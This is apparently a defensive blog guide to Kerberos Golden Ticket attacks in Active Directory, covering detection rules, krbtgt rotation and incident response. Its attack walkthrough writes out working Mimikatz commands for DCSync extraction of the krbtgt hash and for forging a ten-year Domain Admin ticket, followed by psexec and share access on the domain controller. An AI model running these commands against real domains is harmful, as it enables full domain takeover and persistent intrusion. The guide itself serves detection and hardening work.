Golden Ticket Attack: Complete Detection & Prevention Guide (2026)

In the Kerberoasting guide, we left the attacker at a critical moment: "Forty-seven minutes after initial access, the attacker had a Golden Ticket." This article explains what happened next — and why it's far worse than the original compromise.

A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) created using the stolen password hash of the krbtgt account — the Active Directory service account that cryptographically signs every TGT in the domain. With that hash, attackers can issue themselves tickets claiming to be anyone, with any group memberships, valid for any duration. The domain controller trusts the ticket because the signature is genuine; it never verifies the claimed identity against Active Directory.

Changing user passwords makes no difference. Deleting user accounts makes no difference. Rebooting servers makes no difference. The attacker is not relying on credentials — they are the KDC. The only remediation is rotating the krbtgt account password twice, with at least 10 hours between rotations.

Golden Ticket attack flow — once the krbtgt hash is extracted, the attacker becomes their own KDC and can forge TGTs with arbitrary identities and lifetimes.

Breach Scenario: The Ticket That Didn't Die

lsadump::dcsync /domain:corp.local /user:krbtgt

What is a Golden Ticket?

A Golden Ticket is a forged Kerberos TGT crafted with the krbtgt account's password hash. It is catalogued as MITRE ATT&CK T1558.001. Unlike a real TGT — where the KDC queries Active Directory to verify the user's identity and group memberships before signing the ticket — a forged TGT uses the attacker's own data. The domain controller cannot distinguish a forged ticket from a legitimate one; both carry a valid cryptographic signature from the same key.

How the Attack Works

A Golden Ticket attack is a post-exploitation technique — the attacker must already hold Domain Admin or DCSync rights. It is the logical sequel to Kerberoasting, DCSync, or ntds.dit extraction: once an attacker reaches domain-level privilege, they immediately try to obtain the krbtgt hash for long-term persistence.

Step 1 — Obtain the krbtgt Hash

Three primary methods, each requiring different privilege levels:

Step 2 — Gather Domain Information

# Information needed to forge the ticket
$DomainSID = (Get-ADDomain).DomainSID.Value   # S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
$Domain    = (Get-ADDomain).DNSRoot           # corp.local

# Group RIDs to claim in the forged ticket
# 512 = Domain Admins, 513 = Domain Users, 519 = Enterprise Admins, 520 = Group Policy Creator Owners
# 518 = Schema Admins, 572 = Denied RODC Password Replication Group

Step 3 — Forge the Golden Ticket

# Mimikatz — forge a TGT valid for 10 years with Domain Admin + Enterprise Admin membership
kerberos::golden `
    /user:TotallyLegitAdmin `
    /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /krbtgt:<ntlm_hash_here> `
    /id:500 `
    /groups:512,519,518,513 `
    /startoffset:0 `
    /endin:525600 `
    /renewmax:10080 `
    /ptt              # pass-the-ticket: inject directly into current session

Step 4 — Access Any Resource in the Domain

With the forged TGT injected into the session (/ptt), the attacker has authenticated access to every domain resource — using an account that does not exist in Active Directory:

# Access domain controller administrative share
dir \\DC01\C$

# Remote shell on domain controller
psexec \\DC01 cmd

# Query entire AD with Domain Admin privileges
Get-ADUser -Filter * -Server DC01

# Access file servers, SQL, Exchange — anything in the domain
# The ticket claims Domain Admin + Enterprise Admin membership — no AD lookup happens

Step 5 — Persist Across All Remediation Attempts

What makes Golden Tickets uniquely dangerous as a persistence mechanism:

• Security team resets the compromised service account password → attacker's TGT is unaffected
• Security team deletes the fake account → attacker's TGT is unaffected (DCs trust the signature, not the account's existence)
• Security team deploys EDR and runs full sweep → existing TGT survives in memory
• Attacker's workstation reboots → save TGT to disk first, reload after reboot
• Six months later: load the saved TGT file and resume access — as long as krbtgt was never rotated

The krbtgt Account: Why It's the Master Key

The krbtgt account (Kerberos Ticket Granting Ticket service account) is created automatically when Active Directory is installed. Its password hash is used by every Domain Controller as the signing key for all TGTs issued in the domain. It is the single most critical secret in an Active Directory domain.

Golden Ticket vs Silver Ticket

Golden and Silver tickets are often confused. The key difference is scope: Golden Tickets are domain-wide; Silver Tickets target a single service.

Kerberos Golden and Silver Ticket comparison and differences.

Find Your Exposure: krbtgt Password Age Audit

Check how long it has been since your krbtgt password was last rotated. If it has never been rotated — or was rotated years ago — any attacker who obtained the hash during that period may still hold a valid Golden Ticket.

# Audit krbtgt password age across all domains in the forest
Get-ADForest | ForEach-Object { $_.Domains } | ForEach-Object {
    $Domain  = $_
    $Krbtgt  = Get-ADUser 'krbtgt' -Properties PasswordLastSet -Server $Domain
    $Age     = if ($Krbtgt.PasswordLastSet) {
        [int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
    } else { 9999 }
    $Risk    = switch -Regex ($Age) {
        '^[0-9]$|^[0-9][0-9]$|^1[0-7][0-9]$' { 'LOW ✅' }   # < 180 days
        '^(1[8-9][0-9]|[2-9][0-9]{2}|[1-2]\d{3})$' { 'MEDIUM ⚠️' }  # 180-365 days
        default { 'HIGH 🔴' }                                  # > 365 days
    }
    [PSCustomObject]@{
        Domain       = $Domain
        PasswordAge  = "$Age days"
        LastSet      = $Krbtgt.PasswordLastSet
        Risk         = $Risk
    }
} | Format-Table -AutoSize

Detection: Event IDs and Anomaly Patterns

Golden Tickets are detectable, but detection requires Kerberos audit logging enabled on all Domain Controllers and an active correlation between multiple event IDs. No single event confirms a Golden Ticket — the signal is in the combination.

Enable Required Auditing

Configure via GPO on the Default Domain Controllers Policy:

• Computer Configuration → Advanced Audit Policy → Account Logon
  • Audit Kerberos Authentication Service — Success, Failure
  • Audit Kerberos Service Ticket Operations — Success
• Audit Logon Events — Success, Failure (for Event ID 4624 correlation)
• Audit Special Logon — Success (for Event ID 4672)

Detection Indicators by Event ID

SIEM Detection Rule (KQL / Microsoft Sentinel)

// Golden Ticket Detection: 4624 logon without preceding 4768 TGT request
// Excludes machine accounts and known service scenarios
let lookback = 30min;
let LogonEvents = SecurityEvent
    | where EventID == 4624
    | where AuthenticationPackageName == "Kerberos"
    | where AccountType == "User"
    | where Account !endswith "$"        // exclude machine accounts
    | project LogonTime = TimeGenerated, Account, IpAddress, Computer;
let TGTRequests = SecurityEvent
    | where EventID == 4768
    | where AccountType == "User"
    | project TGTTime = TimeGenerated, Account;
LogonEvents
| join kind=leftanti (
    TGTRequests
    | where TGTTime between (ago(lookback + 1h) .. now())
) on Account
| where LogonTime > ago(lookback)
| project LogonTime, Account, IpAddress, Computer
| order by LogonTime desc

// Separately: alert on Event ID 4672 for accounts not in AD
SecurityEvent
| where EventID == 4672
| where AccountType == "User"
| where Account !endswith "$"
| join kind=leftanti (
    // Reference table of valid AD accounts
    IdentityInfo | where Type == "Account" | project Account = AccountUPN
) on Account
| project TimeGenerated, Account, Computer, PrivilegeList
| order by TimeGenerated desc

krbtgt Password Age Alert

# Add to your daily monitoring — alert if krbtgt age exceeds 180 days
$Krbtgt = Get-ADUser 'krbtgt' -Properties PasswordLastSet
$AgeDays = [int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
if ($AgeDays -gt 180) {
    Write-Warning "krbtgt password age: $AgeDays days (threshold: 180). Rotation required."
    # Send to SIEM / alert pipeline
}

Prevention: 5 Controls Ranked by Effectiveness

Protected Users Security Group

Adding privileged accounts to the Protected Users group enforces several Kerberos restrictions that directly reduce Golden Ticket viability:

• TGTs issued only with AES128 or AES256 encryption — no RC4
• TGT lifetime reduced to 4 hours (not renewable)
• Credentials are not cached on hosts the user authenticates to
• No NTLM, Digest, or CredSSP authentication (Kerberos only)

# Add all Domain Admins to Protected Users
Get-ADGroupMember 'Domain Admins' -Recursive |
    Where-Object { $_.objectClass -eq 'user' } |
    ForEach-Object { Add-ADGroupMember 'Protected Users' $_.DistinguishedName }

# Verify
Get-ADGroupMember 'Protected Users' | Select-Object Name, SamAccountName

krbtgt Dual Rotation: The Only True Remediation

Whether rotating proactively (every 180 days) or as an incident response action, the procedure is the same. The reason two rotations are required is rooted in how Active Directory handles the krbtgt password history: the domain retains the previous password so that DCs that haven't yet replicated the new password can still validate in-flight tickets. An attacker holding the old hash exploits exactly this window.

Pre-Rotation Checklist

• Verify AD replication is healthy on all DCs: repadmin /replsummary
• Notify application and server teams — services with cached Kerberos tickets may require restart within 10 hours
• Confirm no DCs are in maintenance mode or offline
• Document current krbtgt key version number before rotating
• Schedule second rotation at least 10 hours after the first

Rotation Script

Verify Rotation Succeeded

# Confirm new key version on all DCs after rotation
$Expected = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server (Get-ADDomain).PDCEmulator).'msDS-KeyVersionNumber'
Get-ADDomainController -Filter * | ForEach-Object {
    $V = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server $_.HostName).'msDS-KeyVersionNumber'
    [PSCustomObject]@{
        DC      = $_.HostName
        Version = $V
        Status  = if ($V -eq $Expected) { '✅ Replicated' } else { '⚠️ Pending' }
    }
} | Format-Table -AutoSize

Incident Response: Golden Ticket Detected

If detection fires on Golden Ticket indicators, assume the attacker has had persistent access for an unknown duration — potentially since the last time the krbtgt password was set. Check your krbtgt password age; that is the maximum possible breach window.

Compliance Mapping

Maintenance Schedule

Golden Ticket controls integrate into the AD Housekeeping Tasks schedule. The semi-annual krbtgt dual rotation is the most critical operational item.

Golden Ticket Detection Script

The script below performs comprehensive five-phase detection analysis against all Domain Controllers. Run it as a baseline and schedule it as a weekly task.

Resources & Related Articles

EguibarIT Guides

• Kerberoasting Guide — The attack that most commonly precedes a Golden Ticket: service account hash cracking, detection, and gMSA migration
• Golden Ticket Detection Script — Full five-phase PowerShell analysis: krbtgt age, anomalous TGT patterns, 4624/4768 correlation, 4672 outliers
• DCSync Detection Script — Detect the attack most commonly used to extract the krbtgt hash (Event ID 4662 with replication rights)
• 17 Active Directory Attacks: Five Eyes Guide — Golden Ticket in context with DCSync, Silver Ticket, Skeleton Key, and 13 other NSA/CISA-documented techniques
• Credential Theft Defenses — Credential Guard, Protected Users, LSASS protection, and Kerberos hardening baselines that reduce the krbtgt extraction attack surface
• Planning for Compromise — Forest recovery procedures for when krbtgt compromise escalates to full forest compromise
• AD Housekeeping Tasks — Semi-annual krbtgt dual rotation in the operational maintenance schedule

External References

• MITRE ATT&CK T1558.001 — Golden Ticket
• NSA/CISA Advisory AA22-335A — AD Attack Techniques
• Microsoft: Targeted Reset of the krbtgt Account Password — FAQ
• ADSecurity.org — Mimikatz Golden Ticket Walkthrough
• Microsoft: Protected Users Security Group